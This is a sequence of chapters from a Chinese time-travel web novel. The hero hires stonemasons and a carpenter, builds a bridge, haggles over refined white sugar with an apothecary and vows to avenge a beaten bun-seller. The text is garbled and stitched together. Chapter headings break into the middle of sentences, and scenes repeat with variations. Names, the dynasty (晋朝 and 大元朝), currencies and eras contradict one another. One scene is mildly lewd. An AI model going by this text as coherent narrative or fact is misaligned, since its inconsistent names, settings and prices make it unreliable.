“苏二,你个挨千刀的王八羔子!”赖志成在心里头破口大骂,“老子跟你八竿子打不着,你**干嘛老拿老子说事?” “还说话不算数,压榨帮闲?老子啥时候干过这种事?” “就算老子真干过,你也不能当着这么多人的面说出来啊!” “你这不是砸老子的场子吗?” “往后老子还咋管这些刁民?” …… 苏阳一进家门,就差人把村里最有名的木匠陈师傅请了过来。 “陈师傅,您在三溪镇待了一辈子了,见多识广。”苏阳开门见山,语气中带着几分急切,“我想跟您打听两个人,您可听说过三溪镇有姓梁和姓唐的石匠?” 陈木匠被问得一愣,眉头拧成了疙瘩,搜肠刮肚地想了半天,最后还是一脸迷茫地摇了摇头: “梁石匠?唐石匠?没听说过啊……三溪镇就这么大,有点名气的匠人我都认识,可真没听说过这俩人。” 陈木匠有些不好意思的挠挠头。“慢着!” 苏阳一声吼,打断了正要质问那几个石匠的路旭东。 “阳哥儿?” 路旭东一愣,扭头看向苏阳,不明白他这是啥意思。 苏阳没理他,只是盯着那几个瑟瑟发抖的石匠,目光如炬。 “你们几个,真是三溪镇的石匠? 第一百三十七章 ” 苏阳又问了一遍,每个字都像从牙缝里挤出来的一样。 几个石匠对视一眼,冷汗涔涔而下。 完了,这是要露馅啊! “回西家,我们……我们是……” 领头的石匠硬着头皮刚想继续狡辩,被苏阳抬手打断。 “行了,别编了。你们那点把戏,瞒得过别人,瞒不过我。” 苏阳冷哼一声, “三溪镇有几位石匠,他们手艺如何,我心里跟明镜似的!” 几个石匠顿时面如土色。 其中一个扑通一声跪倒在地,脑袋磕得梆梆响: “西家饶命!小的们不是有意欺瞒,实在是……” “实在是什么?” 苏阳步步紧逼。 “我们……” 那石匠张口结舌,冷汗把衣襟都浸湿了。 “阳哥儿,跟他们废什么话!直接绑了,丢河里喂王八!” 路旭东早就憋了一肚子火。 和四的事,让他们在苏阳面前丢了面子。 现在逮到几个冒牌货,正好拿来泄愤! “对!绑了!” “敢骗到我们青龙村来,不想活了!” 其他小子也跟着叫嚷。 孔远山更是挽起袖子,就等苏阳发话。 “都给我闭嘴!” 苏阳一声怒喝,震得众人耳膜嗡嗡响, “谁让你们乱嚷嚷的?都给我消停点!” 路旭东脖子一缩,赶紧闭嘴。 孔远山也悻悻地退了回去。 苏阳这才又看向那几个石匠,语气稍微缓和了一些: “你们到底是什么人?为什么要冒充石匠?老实交代,我或许能饶你们不死。” 几个石匠互相看了看,似乎在权衡利弊。 “二哥,要不把他们带到陈师傅跟前,一问便知?” 一直沉默的陈木生忽然开口。 “嗯,石头说得有理。” 苏阳点点头, “不能只听片面之言,多方查证才稳妥。” 他扫了其他小子一眼: “你们几个,多学着点!别一天到晚就知道打打杀杀,脑子呢?” 一众小子心中腹诽: 我们不就是想表现一下忠心嘛! 陈木生这家伙,又踩着我们上位! 陈木生把几个石匠领进院子,刚一进门,陈木匠就愣住了,脱口而出: “老钱?老许?你们……咋上这儿来了?” “冯麻哥?” 几个石匠也傻眼了。 这下,所有人都明白了。 合着这是遇到熟人了! 苏阳也有些无语。 这几个石匠,还真是够能演的。 几个石匠一看瞒不住了,只得竹筒倒豆子,全招了。 他们确实是三溪镇人,也的确是手艺过硬的石匠。 只不过,他们和陈木匠一样,不小心惹到了眼煞豹,在三溪镇实在混不下去了。 听说青龙村的苏阳,不仅为人仗义,还出手大方,就想来谋个差事。 可又担心眼煞豹找后账,这才扯了个谎,冒充了别处的石匠。 “原来是这么回事。” 苏阳点点头, “既然大家都是乡里乡亲,那就好办了。” 他把几个石匠和陈木匠一家安排在同一个院子里,美其名曰“互相有个照应”。 当然,也有互相监督的意思。 毕竟人心隔肚皮,谨慎点总没错。 苏阳可不想因为一时大意,给自己和家人招来祸患。 和对待陈木匠一样,苏阳并没有急着让几个石匠上工。 就他们那小身板,一看就是长期营养不良。 得先养几天再说。 几个石匠美美地吃了一顿饱饭,一个个感动得眼泪汪汪。 这样的西家,简直是打着灯笼都难找! 不给他卖命,还能为谁拼死拼活? 看到几个石匠的反应,陈木匠一家人心里乐开了花。 想当初,他们刚来的时候,也是这副模样。 头一顿饭,还以为是苏阳特意款待。 第二顿,还琢磨着是欢迎。 可一连吃了好几顿,顿顿都是大鱼大肉,这才回过味来。 合着人家苏阳,每天都吃这么好! 知道了真相,陈木匠一家人非但没有感到失落,反而更加坚定了跟着苏阳的决心。 别的先不说,就冲这伙食,也得想方设法留下来! 几个石匠也起了同样的心思。 可问题是,苏阳之前说得明白,他们只是临时过来帮个忙,完事了就得走人。 这可如何是好? 想来想去,他们决定向陈木匠讨教。 陈木匠是什么人?人精一个! 他早就盘算好了,怎么可能轻易告诉别人? 可架不住几个石匠软磨硬泡。 老许和老钱更是轮番上阵,又是画大饼,又是回忆往昔。 最后,连当年陈木匠老婆去世,大家 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“得先在两边挖沟,用石头砌好地基,再把木头架上去,这样才能结实耐用。” 老钱详细地解释。 苏阳连连点头,决定采纳老钱的建议。 于是,大家伙一起动手,先在卧龙沟两岸挖出了几条深深的沟槽。 然后,众人又上山采来大块的青石,一块块小心翼翼地嵌入沟槽中。 这可不是个轻松的活计。 每一块石头都沉重无比,稍有不慎,就可能砸伤手脚。 可没有一个人叫苦叫累,大家都憋着一股劲,想要把这桥修好。 “慢着,先别忙!” 眼看石槽就要完工,正当大伙准备把原木抬上去的时候,苏阳突然大喊一声。苏阳突然叫停,像是在平静的湖面投下一颗巨石。 所有人都愣住了。 干啥? 眼看桥就要架好了,这时候叫停是几个意思? 正忙着搭木头的匠人们停下手里的活计,齐刷刷看向苏阳,一脸茫然:“西家,还有啥工序?没了吧?” 语气里带着一丝疑惑,一丝不满。 跑来看热闹的村民们也开始交头接耳,嗡嗡的声音像一群苍蝇在飞。 “这苏二,搞什么名堂?” “谁知道呢,**都没长齐的小子,懂个屁的架桥! 第一百三十九章 他原本是想来看苏阳笑话的,结果却看到这小子又出了一次风头,这让他心里怎么能舒坦? 更让他气恼的是,王婉苏那小妮子,一双眼睛都快粘到苏阳身上去了,那副花痴样,简直让他想吐! 就在众人议论纷纷的时候,突然“扑通”一声! 这突如其来的动静,把所有人都吓了一跳,纷纷转头看去。 只见陈木匠“扑通”一声跪在了苏阳面前,一个头磕在地上,发出“梆”的一声闷响。 “师傅在上,徒儿给师父磕头了!” 陈木匠的声音洪亮,中气十足,哪还有半分之前的迷茫和迟疑? 他这一跪,不仅把苏阳给跪懵了,也把在场的所有人都给跪懵了。陈木匠这一跪,干脆利落。 “咚”的一声,膝盖砸在地上,震起一片尘土。 苏阳一个激灵,屁股像是被针扎了似的,差点没从地上跳起来。 他瞪大了眼睛,看着眼前这个头发都有些花白的老木匠。 开什么玩笑?这老头看着得有五十了吧?给自己磕头,这不是要折自己的寿吗! 可周围的晋朝人,却是一个个神情肃穆,理所当然,没有一丝一毫觉得不妥。 甚至,不少人的眼神里还流露出了羡慕。 “师傅在上,让我拜个山头!” 陈木匠中气十足,一声大吼,声如洪钟,震得人耳膜嗡嗡作响。 这突如其来的一嗓子,不仅把苏阳给吼懵了,也把在场的其他人都给震住了。 苏阳那是真懵,完全搞不清楚状况。 其他人,则是羡慕嫉妒恨! 尤其是杨、江两位石匠,此刻肠子都悔青了! 他们对视一眼,都从对方眼中看到了懊恼和不甘。 早知道拜师就能学到这等本事,他们还矜持个啥? 这年头,手艺就是命根子,是安身立命的本钱。 别说磕头拜师了,整天被人当苦力使唤,只要能学到真本事,那也值了! 他们可不像陈木匠,这可是祖传绝活,多少有点底子。 当初为了学这门手艺,他们可是吃尽了苦头,给人当孙子使唤,不知道出了多少力,流了多少汗,这才熬出了头。 现在有这么好的机会摆在眼前,能不眼红? “师傅,让我拜个山头,感谢大佬指点,弟子在此拜服!” 朱木匠和许木匠交换了一个眼神,没有任何犹豫,“扑通”两声,跪得那叫一个干脆利落,整整齐齐,生怕苏阳反悔似的。 这下,苏阳更麻爪了。 他哭笑不得地看着眼前这几位“老徒弟”,年纪都能当自己爹了,实在不知道该说啥好。 这都哪儿跟哪儿啊? 他下意识地往四周一看,好家伙,村里人竟然没有一个觉得不妥的! 几个胆子大的半大小子,甚至都有些蠢蠢欲动,要不是苏阳带来的小子们还算镇定,估计早就有人冲上来跟着跪了。 苏阳带来的小子们心里也在犯嘀咕: 当个手下有啥意思,哪有当徒弟来的风光? 苏阳心里那叫一个乱。 这具躯壳的前任主人,整天就知道吃喝玩乐,哪里会明白晋朝人学手艺有多难? 在这个时代,手艺就是铁饭碗,想混个一技之长,给人当祖宗供着都行! 不过苏阳是不会轻易收徒的。 毕竟自己又不会木匠和石匠手艺,总不能误人子弟。 “都起来吧,别跪着了。拜师的事情以后再说,大家有啥不懂的,尽管问我,只要我知道,肯定告诉你们。” 苏阳摆了摆手,一脸无奈,语气放缓了些,却还是没松口。 他这话说得圆滑,既没答应也没拒绝,给几个匠人留了点念想。 几个匠人一听,心里这个郁闷。 尤其是陈木匠,狠狠地瞪了杨、江两位石匠一眼, 都怪这俩不要脸的老东西,要不是他们跟着掺和,说不定苏阳就收下自己了! 师没拜成,活还得干。 不过这几个匠人现在干活更起劲了。 这可是在未来的“师父”面前好好表现的机会,要是自己能让苏阳改主意收了徒,那该有多美? 苏阳让人把树干抬进石槽之后,陈木匠就开始忙活起来。 他先是用墨斗在树干上弹线,然后挥动斧头,将多余的部分砍掉。 “咔嚓咔嚓”的声音,在山谷里回荡。 几个石匠也没闲着,苏阳让他们去开采大灰石,准备用来修水坝。 苏阳心里早有计较,要不是手里缺人,他都想直接把水坝给修起来,省得以后再费事。 这几天,苏阳又让人砍了几棵大树,截去树梢和树 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苏阳看着眼前这堆雪白的糖霜,心里琢磨开了。 老是待在村里,跟外面的世界完全脱节,这可不行。 得想个法子出去看看,打听打听消息。 …… 次日破晓时分。 天刚蒙蒙亮,苏阳就带着十个小子出发了。 石头和毕明志领着剩余兄弟镇守老家,以防万一。 谁知道青虎岭的土匪啥时候来,得提防宵小搞事情。 几个新加入的小子,紧张得手心里全是汗,又忍不住东张西望,一副既害怕又好奇的样子。 苏阳看在眼里,却没说什么。 当兵嘛,总得见见血才能成长。 一路奔至清阳县西门,连个土匪的影子都没见着。 几个守门的军汉一见苏阳,顿时就头疼。 这小子,怎么又来了? 可偏偏又不能拿他怎么样,只能干瞪眼。 苏阳笑眯眯地凑了上去: “几位老哥,辛苦了,来,尝尝自家做的馍馍。” 说着,从怀里掏出几个白面馒头,递了过去。 第一百四十章 几个军汉接过馒头,脸上笑得比哭还难看。 原本能捞一笔横财,现在变成了几个馒头,这落差也太大了! “几位老哥,我过几天可能要出一趟远门,就不来县城了。以后就由我这几个兄弟来,你们认认脸,以后他们来了,可别拦着。” 苏阳指着身后的小子们,笑眯眯地说道, “都是自家兄弟,以后还要仰仗几位老哥多多关照。” 他这话,说得客气,可听在几个军汉耳朵里,却不是个滋味。 我们又不瞎,你以为你这几个手下都是啥大人物啊?还用得着咱们特殊照顾? 有个军汉忍不住小声嘀咕了一句: “不就是几个乡下来的泥腿子……” 苏阳耳朵尖,听了个正着,眼睛微微一眯,眼神中闪过一丝寒光。 他转过头,盯着那个说话的军汉,一字一顿地说道: “你说什么?” 那军汉被苏阳盯得心里发毛,顿时就怂了,连忙摆手: “没,没说什么,我说您这几个兄弟,一看就都是人中龙凤,将来肯定有出息!” 苏阳这才收回目光,冷哼一声: “算你识相!” 说完,带着人扬长而去,直奔凤子楼。“吁……” 苏阳勒住缰绳,牛车缓缓停在赵季药铺门前。他跳下车,朝药铺里张望了一眼,心里盘算着: “不知道钱掌柜这儿的碱石进货了没,家里的可快见底了。” 一进门,浓郁的药草香气扑面而来,伙计正忙着招呼客人。钱掌柜坐在柜台后头,眼尖,一眼就认出了苏阳,连忙起身招呼: “哎呦,苏小虎,稀客稀客,您可是好久没来了!” 苏阳也不寒暄,直奔主题:“掌柜的,您这儿可还有碱石?” 钱掌柜一听,脸上的笑容顿时凝固,苦着脸直摇头: “小虎,您是不知道,最近不太平啊!清阳县闹起了土匪,四处打家劫舍,商路都给断了。我前些日子进的货,连带着碱石,全让那帮杀千刀的给抢了……” 苏阳一听,眉头紧锁,身子微微前倾,压低声音问道: “掌柜的,您可知道是哪路‘朋友’的手笔?” 钱掌柜搓了搓手,一脸为难: “哎,这事儿,谁能说得清呢?有说是二啸山那伙人的,也有说是青虎岭那帮人的,众说纷纭,乱得很,根本没个准信儿。” 没有碱石,苏阳也没了待下去的心思,拱了拱手,正准备告辞。 “掌柜的,抓药!” 一位客人急匆匆地闯了进来,将一张药方重重地拍在柜台上,语气急促。 苏阳的脚步顿了顿,他原本对晋朝的医术就颇感兴趣,这下更不想走了。 钱掌柜接过药方,并没有像苏阳想象中那样,拿出秤来仔细称量,而是只扫了一眼方子,便转身从药柜上取下一个油纸包。 他手指灵活地在药柜的抽屉里翻动,时而抓取,时而捻动,动作娴熟得让人眼花缭乱,不一会儿,便将药抓好了。 苏阳看得目瞪口呆,这简直就像是……变魔术! 待客人付钱离开后,苏阳再也忍不住心中的好奇,凑到柜台前: “掌柜的,您这抓药的本事……神了!都不用秤的吗?” 钱掌柜捋了捋胡须,脸上露出一丝得意之色,指了指柜台上一杆精致的小秤: “小虎,不瞒您说,我这只手,可比这秤准多了。您若不信,尽管考我。” 苏阳等的就是这句话,他嘿嘿一笑: “掌柜的,既然如此我就放开手脚了。您给我来三钱……雪梨干!” 钱掌柜微微一愣,随即笑道: “好嘞!” 他转身拉开一个抽屉,取出一张油纸,从中抓出一把雪梨干,手腕轻轻一抖,将雪梨干倒在秤盘上。 苏阳的目光紧紧盯着秤杆,只见秤杆微微一沉,随即稳稳地停在了三钱的位置。 “准!太准了!”苏阳忍不住惊叹,“掌柜的,您这手艺,绝了!这得练多久才能练成啊?” 钱掌柜被夸得心花怒放,捋着胡须,开始讲述自己的学医经历。 他并非一开始就学抓药,而是从最基础的采药开始。 七岁起,他便跟着师傅上山采药,风餐露宿,采药生涯整整三年。 十岁时,师傅见他人品端正,这才开始指导他处理草药,从如何清洗、切片,到如何烘干、炒制,每一步都要求严格。 又过了三年,他才开始学习抓药,每天练习,手指 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钱掌柜点了点头,捋着胡须,娓娓道来: “这白砂糖,性平味甘,可入肺经和脾经,有润肺生津、止咳化痰的功效,还能补中益气、清热燥湿、解酒毒。若是脾胃虚弱,经常腹泻,或是口干舌燥,肺热咳嗽,腹中虚痛……都可用它来调理。” 苏阳听得连连点头,真是长见识了! 他忽然想起一事,对钱掌柜说道: “掌柜的,您稍等片刻,我去去就来。” 说完,他转身走出药铺,从牛车上取下一个油纸包,又匆匆返回。 “掌柜的,您给看看,这是什么?” 苏阳将油纸包放在柜台上,脸上带着一丝神秘的笑容。 钱掌柜的好奇心被彻底勾了起来,他小心翼翼地打开油纸包,只看了一眼,整个人便愣在了那里,眼睛瞪得溜圆,像是见了鬼一样。 “这……这……” 钱掌柜的声音都开始颤抖,他伸出手指,轻轻捻起一点粉末,放进嘴里,细细品味。 “这……这竟然是……白砂糖?” 钱掌柜猛地抬起头,眼中满是难以置信的神色。 第一百四十一章 他见过不少糖,也见过所谓的“上等糖霜”,但那些糖,跟眼前这包里的东西一比,简直就是苏泥之别! 这糖,白得耀眼,白得纯净,细腻如雪,入口即化,甜而不腻,带着一股淡淡的清香…… “小虎,这……这糖,您是从哪儿弄来的?”钱掌柜的声音有些发颤。 苏阳笑了笑,并没有直接回答,而是反问道:“掌柜的,您觉得,这糖怎么样?” 钱掌柜连连点头,赞不绝口:“好!太好了!这糖,简直就是……就是……” 他搜肠刮肚,也找不到一个合适的词来形容。 苏阳知道,这糖的品质,已经远远超出了钱掌柜的认知。 他也不打算隐瞒,直接说道:“掌柜的,实不相瞒,这糖,是我自己做的。” “您……您自己做的?”钱掌柜差点惊掉了下巴。 苏阳点了点头:“没错。我有一种特殊的制糖方法,能做出这种品质的白砂糖。” 他顿了顿,继续说道:“掌柜的,您看,这糖,您收不收?” 钱掌柜回过神来,忙不迭地点头:“收!当然收!小虎,您有多少,我收多少!” 苏阳微微一笑:“掌柜的,先别急着说收多少。您先说,这糖,您打算出多少钱收?”钱掌柜眼珠一转,捋着胡须,慢条斯理地报了个价:“小虎,你看这样如何,五块钱一公斤,如何?” 语气里带着几分试探,几分得意。 他心里早有计较:这白砂糖,一看就不是普通货色,数量肯定有限。要是能把清阳县的白砂糖生意都攥在手里,那可就发了大财了! 苏阳只是淡淡一笑,摇了摇头: “钱掌柜,您是生意人,我也是实在人,咱就不绕弯子了。这白砂糖,我可是费了老鼻子劲,才从大食商人那里弄来的。您猜怎么着?光进价,就一两银子一斤。” “五钱?您这价,我可没法接。” 苏阳心里明白着呢。 二百文一斤买红糖,这不假。 可这只是个开始。 雇人、运货、筛杂质、熬糖烧柴……哪样不要钱? 更别提熬糖时,那糖水里咕嘟咕嘟冒出的泡泡,可都是银子! 这么一算,一斤白砂糖,成本少说也得四钱。 您五钱就想拿走?我图啥? 再说了,这制糖的方子,可是独一份! 钱掌柜脸上的笑容微微一僵,端起茶杯,抿了一口,眼神却飘向了别处。 卖药是挣钱。 可进价太高,赚头就少了。 谁不想多挣点? 他放下茶杯,清清嗓子,又堆起笑脸:“小虎,您也知道,咱开药铺的,讲究的就是个悬壶济世。看到病人受苦,心里比谁都难受。有时候卖药,别说挣钱了,还得倒贴!” “宁愿药架生尘,但愿世间无疾。您说是不?” 钱掌柜开始打感情牌,话里话外透着一股“我不容易”的味儿。 苏阳撇撇嘴,心想: 老狐狸! 还跟我玩道德**? 把我当傻子呢,你那些贵重药材,可不是给穷人备的。 大元朝,穷人哪看得起病? 真要病了,咬牙抓药,也都是挑最便宜的。 白砂糖,人参?想都别想! 卖了全家也买不起! “钱掌柜,您这话说得,我佩服得五体投地,真想给您磕一个!”苏阳拱了拱手,话锋一转,“不过,这好事,也不能全让您做了。” “这样吧,我也不多要,成本价加点跑腿钱,十二块钱一公斤,您看行不?” 钱掌柜眼皮直跳。 这小子,看着年纪轻轻,心眼可不少! 我这都扯起“医者仁心”的大旗了,他还跟我算细账? 钱掌柜眼珠一转,又换上一副笑脸:“小虎真是宅心仁厚!要不这样,咱们一起做个善事,也算积德了。” “您进价一两,我这儿也卖一两。卖多少给您结多少,我一分不赚,成不?” “告辞!” 苏阳转身就走。 这老狐狸,算盘打得也太精了! 不但不想让我挣钱,还想先赊账,卖多少再结? 真当我傻? 钱掌柜一看苏阳要走,赶忙起身拦住: “哎哟,小虎,别急着走啊!有话好商量嘛!生意不成情谊在,您说是吧?” 他一边说,一边朝伙计使眼色,让他赶紧倒茶。 苏阳心想: 这会儿知道讲“买卖”了? 刚才那悲天悯人的劲头呢? 他不耐烦跟这老狐狸打太极,直接了当: “钱掌柜,我最后砍一刀,您要觉得高,咱就一拍两散。” “十一块钱一公斤,怎么样?”< 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只看了一眼,他就傻了,嘴巴张得能塞下一个鸡蛋。 “小虎……你……这……” 几个麻袋全被打开。 钱掌柜彻底懵了,像个木头桩子似的杵在那儿。 过了好半天,他才回过神,结结巴巴地说: “小……小虎,这……这也太多了……我……我……” 话没说完,他突然闭上了嘴。 他想起来苏阳刚才说的话了。 好家伙,怪不得这小子突然扯到王八蛋,原来在这儿挖坑等我! 他倒不是怕当王八蛋,虽说刚才没发誓,可做买卖,最忌讳的就是出尔反尔。 刚说完有多少要多少,转眼就反悔,这脸还要不要了? “哈哈,钱掌柜,逗您玩呢!您有多少银子收多少货,别勉强!” 苏阳见钱掌柜那副便秘的表情,别提多开心了。 让你跟我装,这下看你还装不装? 谁知,钱掌柜却以为苏阳在挤兑他,顿时急了,脸红脖子粗: “小虎,你这是啥意思?打听打听去,我赵某人在清阳县,那也是响当当的人物! 第一百四十二章 我会说话不算数?” “不就是几万块钱吗?我还出得起!” 苏阳哭笑不得: 这老头,怎么还急眼了呢? “钱掌柜,您别激动,我真没别的意思!做买卖嘛,得量力而行……” 钱掌柜更来劲了,眼睛瞪得溜圆: “小虎,你这是在质疑我的实力?以为我是穷得叮当响?” 苏阳无奈地一摊手: 得,爱咋咋地吧! 他好说歹说劝了半天,钱掌柜就是不听,越劝越激动。 最后,苏阳索性不说了,随他去吧。 他原本带了三百斤红糖过来,一番操作,提纯出了足足两百斤的白砂糖。 两百多两银子揣进兜里,苏阳心满意足地离开了济世堂。 几个伙计跟在他身后,一个个都还没从震惊中回过神来。 他们知道糖值钱,可没想到这么值钱! 就这么几袋子白花花的玩意儿,价值两万多块? 这钱也太好赚了! 尤其是几个跟苏阳去过南货铺子的伙计,更是惊得合不拢嘴。 他们可是亲眼看着苏阳花二百文一斤买的红糖! 这才几天啊,就变成了一两多银子一斤的白砂糖? 太邪乎了! 几个人看向苏阳的眼神,除了敬佩,又多了几分敬畏。 难怪村里人都说,阳哥儿是天上的神仙下凡! 这红糖变白糖的本事,一般人哪有? 苏阳原本想直捣黄龙,去凤子楼探探底。 可他突然想起一件事。 之前听村里人闲聊,说凤子楼最近风头正盛,似乎跟县衙里的人有勾结。 贸然前去,恐怕不妥。 “得想个万全之策……”苏阳摸着下巴,自言自语。 他忽然停下脚步,对身边的张旭东吩咐:“旭东,你去一趟长安街,把符小虎找来。别声张,悄悄地去,明白不?”路旭东气喘吁吁地跑了回来,额头上的汗珠在寒风中很快凝结成霜。他弯着腰,双手撑在膝盖上,大口喘着粗气。 “阳哥,长安街没找着符福。那边的摊位都空着,问了隔壁卖糖葫芦的,说今天压根没见他来。” 苏阳站在街角的檐下,眯起眼睛望着远处灰蒙蒙的天空。寒风裹挟着零星的雪花,在空中打着旋儿。他抬手摸了摸下巴,眉头微皱:“走,去他家。” 一听这话,孔远山等人眼睛顿时亮了起来。他们互相使了个眼色,脸上露出意味深长的笑容。 “是该去看看符福......”孔远山搓了搓手,语气中带着几分跃跃欲试,“听说他家那位娘子......” 话没说完,就被苏阳一个眼神制止。孔远山讪讪地闭上嘴,但眼中的兴奋之色却怎么也藏不住。 谁不知道符福家里有个如花似玉的娘子?那双会说话的眼睛,那婀娜的身段,没少让这群毛头小子魂牵梦萦。每次去买馒头,都要多看两眼,就连符福那老实人也看在眼里,却从不说什么。 正当众人心思活络时,一个瘦弱的身影晃悠着走了过来。那人穿着件打着补丁的短褂,怀里抱着个竹篮,低着头往前走。 “站住!”孔远山突然厉声喝道。 一个刚上初中的小屁孩,被这一嗓子吓得浑身一哆嗦,手里的竹篮差点掉在地上。他慌忙稳住篮子,抬头看清来人后,脸色顿时变得苍白。 “几位...小东人...”小子结结巴巴地开口,声音里带着明显的颤抖。 苏阳打量着眼前的少年。这小子生得瘦小,脸色蜡黄,一看就是营养不良的样子。但那双眼睛却格外机灵,不停地转动着,像是在打量什么。 “你认识我们?”苏阳淡淡地问道。 “认识的,认识的。”小子连连点头,“你们经常去符福家买馒头,我见过几次......” 原来这小子是符福的熟人,苏阳不由多看了他两眼:“你叫什么名字?” “小的姓乔,因为出生在郓城,就叫郓哥......” “孙玉哥?”苏阳眼中闪过一丝异色。他指了指竹篮,“你提着的是水嫩的雪梨吗?” 孙玉哥连连摇头,脸上露出几分讨好的笑容:“哪有脆梨啊,现在天寒地冻的,就些杏脯梅子之类的蜜饯......” 苏阳看了眼篮子里的蜜饯,不动声色地问:“知道符福今天为什么没出摊吗?” 孙玉哥眼珠一转,露出个狡黠的笑容:“小东人要不要买点蜜饯 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“走吧。”苏阳转身上了早已备好的牛车,“去符福家看看。” 牛车缓缓驶向符福家的方向。路上,苏阳心里盘算着。符福这个人老实巴交,做生意也实在。这次突然被打伤,恐怕没那么简单。 尤其是那个孙玉哥欲言又止的样子,更让人生疑。他似乎知道些什么,却不愿意说出来。 孔远山赶着牛车,一路上嘴里哼着小曲。其他几个小子也是兴致勃勃,显然都在想着能见到符福家那位小娘子。 苏阳望着前方逐渐密集的雪花,眼神渐渐凝重。这个时代的市井,表面平静,实则暗流涌动。一个不小心,就可能陷入万劫不复的境地。 车轮碾过泥泞的道路,发出吱呀吱呀的声响。路边的行人纷纷避让,有人认出了苏阳,连忙低头行礼。 “到了!”孔远山的声音打断了苏阳的思绪。 抬头望去,符福家的小院已经近在眼前。那是座普通的院子,青砖黛瓦,门前种着几株腊梅,此时正开得正艳。 院门紧闭,看不出有什么异常。但苏阳总觉得,这扇门后面,或许藏着不为人知的秘密。 第一百四十四章 “也罢,上去就上去,我苏阳还怕了不成?” 他挺直了腰板,跟着符大娘子往楼上走。 身后,几个小子交头接耳。 “阳哥儿真行啊,连符大娘子都敢撩。” “你懂啥,这叫有胆识!” “嘿嘿,等会儿有好戏看了。” …… 木楼梯有些年头了,踩上去“吱呀吱呀”地响。 苏阳跟在符大娘子身后,一步步往上走。 他尽量目不斜视,可眼角的余光,还是忍不住往上瞟。 这小娘子,身段是真好,走起路来,那腰肢扭得…… 苏阳暗自吞了口唾沫,强迫自己把注意力集中在脚下。 可越是这样,就越是觉得这楼梯难走。 每一步,都像是踩在了他的心尖上。 符大娘子似乎也察觉到了身后的目光。 她走得更慢了,每一步都像是带着韵律,身姿也越发摇曳。 苏阳只觉得一股热气从小腹升起,直冲头顶。 “不行,不能再这样下去了!” 他暗自咬了咬牙,加快了脚步,想要尽快结束这尴尬的局面。 可就在这时,意外发生了。 符大娘子脚下一个不稳,身子猛地向后一仰。 “啊——” 她惊叫一声,双手在空中乱抓,想要抓住什么东西。 苏阳就在她身后,眼看她就要摔倒。 这楼梯又陡又窄,真要摔下去,后果不堪设想。 他来不及多想,本能地伸出双臂,想要接住她。 可这一伸手,就碰到了不该碰的地方…… 符大娘子只觉得身子一麻,一股异样的感觉传遍全身。 她“嘤咛”一声,双颊绯红,呼吸也变得急促起来。 苏阳的脑子“嗡”的一下,一片空白。 “这下可真是……跳进黄河也洗不清了!” 他心里一阵哀嚎, “我苏阳的一世英名啊,就这么毁于一旦了!” 他慌忙回头,想看看有没有人注意到这一幕……苏阳一回头,脚下没踩稳,差点直接从楼梯上滚下去。 楼梯底下,小伙子们都看傻了眼,嘴角哈喇子都快流到地上了,那模样,就跟八百年没见过女人的饿狼见了羊羔子似的。 “咳……咳咳,悬了……多亏我反应快,不然老家娘非得摔着不可!” 苏阳干咳两声,掩饰着尴尬,解释道。 可惜,几个小子根本就没听见他说话,一个个眼睛都直了。 那副神情,翻译过来就是:“放开她,让我来!” 得,苏阳算是明白了,好人难做啊。 他现在巴不得符大娘子赶紧起来,别再跟自己黏糊了。 谁知,符大娘子跟被点了穴似的,一动不动,身子软得跟面条似的,还一个劲儿地喘气。 那气喘的,跟跑了几十里地似的。 苏阳心里“咯噔”一下: 这……莫不是…… 其实这事也怪不得符大娘子,她不是不想起,是真起不来。 虽然她装扮成熟御姐范,其实还是个黄花大闺女。 符大娘子长得好,又在大户人家当过丫鬟,见过世面,压根就没瞧上符福。 要不是被夫人逼着嫁过来,她哪能看上这“四脚虎”? 符福呢,老实木讷,长得又磕碜,自卑得很。 媳妇不主动,他连床边都不敢凑。 俩人就这么耗着,成亲大半年了,连个洞房都没入。 所以,符大娘子压根就没跟男人亲近过。 这冷不丁被苏阳抱了个满怀…… 那感觉,简直了。 男人的怀抱……这么结实的吗? 还挺暖和……怪不得都说这是女人的港湾……真不想起来了…… 符大娘子感觉自己浑身都软了,像是被抽了骨头似的,一点劲儿都使不上。 更让她心慌的是,苏阳那双手,也不知道是有意还是无意,一直放在不该放的地方! 命门被苏阳拿捏着,符大娘子哪敢乱动? 她心里又羞又怕,还带着那么点…… 万一出点啥状况,以后可咋见人? 两人就这么僵持着,姿势别提多让人想入非非了。 足足过了能有半袋烟的工夫,苏阳才反应过来。 哎呦我去! 自己还跟符大娘子保持着这种姿势呢? 完蛋了,这下真是黄泥掉裤裆,不是屎也是屎了! 苏阳心里那叫一个懊恼。 不过话说回来,这事真不能怪他俩。 要怪,就怪时间过得太快。 你说这时间,平时慢得跟乌龟爬似的,怎么到了关键时刻就跟开了挂似的? “娘子,小虎……走了没?” 符福等了半天,也没见苏阳上来,还以为他走了。 “没…… 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原来,符福这是让凤子楼新来的打手给盯上了。 以前凤子楼的打手虽然也横,可是清阳县的老街坊都懂,多少还留点面子。 不主动惹事就相安无事,一般也没啥事。 可现在不同了,打手们不知道溜哪去了,肥掌柜又招了一批新人。 这帮新来的,一个赛一个凶残,个个都是狠角色。 他们见符福老实巴交,个头又矮,长得还难看,就专门挑他欺负。 先是白吃白拿符福的炊饼。 符福敢怒不敢言,寻思着破财免灾。 可谁知,这帮家伙变本加厉,后来竟然直接动**钱! 符福本来就是小本生意,哪经得起这么折腾? 有几次,他一天下来,不但没挣着钱,连本钱都赔进去了。 实在没办法,符福只好硬着头皮,求那些打手高抬贵手。 结果可想而知,那些打手不但没收敛,反而恼羞成怒,把符福打了个半死,还砸了他的摊子。 “这还有王法吗?!” 苏阳猛地一拍炕沿,震得符福浑身一哆嗦。 他不是装腔作势,是真动了怒。 自己三番五次被针对,泥人还有个土性子呢,何况他苏阳? 第一百四十五章 “小虎,你可千万别冲动!”符福见苏阳脸色不对,连忙劝道,“咱斗不过他们,忍忍就过去了……” 苏阳看着符福那副窝囊样,心里又气又无奈。 这老实人,都这时候了,还替别人着想。 “符福,你放心,这事我不会就这么算了。”苏阳深吸一口气,尽量让自己的语气听起来平静一些,“我保证,一定给你讨回公道!” “别!小虎,千万别去!” 符大娘子突然从里屋冲出来,一把拉住苏阳的胳膊, “您可千万别为了我们,把自己搭进去啊!” 她满脸惊恐,显然是怕苏阳去找凤子楼的人算账。 楼下那帮小子听到动静,又开始起哄: “阳哥儿,啥情况?” “符福没在家?” “嫂夫人喊啥呢?” “嘿嘿嘿……” 一阵挤眉弄眼,各种怪笑。 苏阳心里更烦了。 这事明摆着是冲他来的。 肥掌柜接二连三找人,一次比一次狠,这不明摆着要跟他过不去吗? 不过,苏阳也不是愣头青。 这里毕竟是清阳县,不能乱来。 硬碰硬肯定不行,得想个法子,好好治治这帮孙子。 